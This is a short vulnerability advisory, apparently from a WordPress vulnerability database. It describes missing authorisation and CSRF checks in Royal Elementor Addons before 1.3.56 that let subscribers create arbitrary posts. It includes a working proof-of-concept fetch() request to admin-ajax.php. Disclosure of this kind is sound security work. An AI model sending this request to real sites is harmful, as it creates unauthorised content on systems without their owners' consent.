WordPress Plugin Vulnerabilities
Royal Elementor Addons < 1.3.56 - Subscriber+ Arbitrary Post Creation
Description
The plugin does not have authorisation and CSRF checks when creating a template, and does not ensure that the post created is a template. This could allow any authenticated users, such as subscriber to create a post (as well as any post type) with an arbitrary title
Proof of Concept
Run the below command in the developer console of the web browser while being on the blog as a subscriber
fetch('/wp-admin/admin-ajax.php?action=wpr_create_template', {
method: 'POST',
headers: {"Content-Type": "application/x-www-form-urlencoded"},
body: 'user_template_slug=hello-world&user_template_library=post&user_template_title=Hello 2'
});
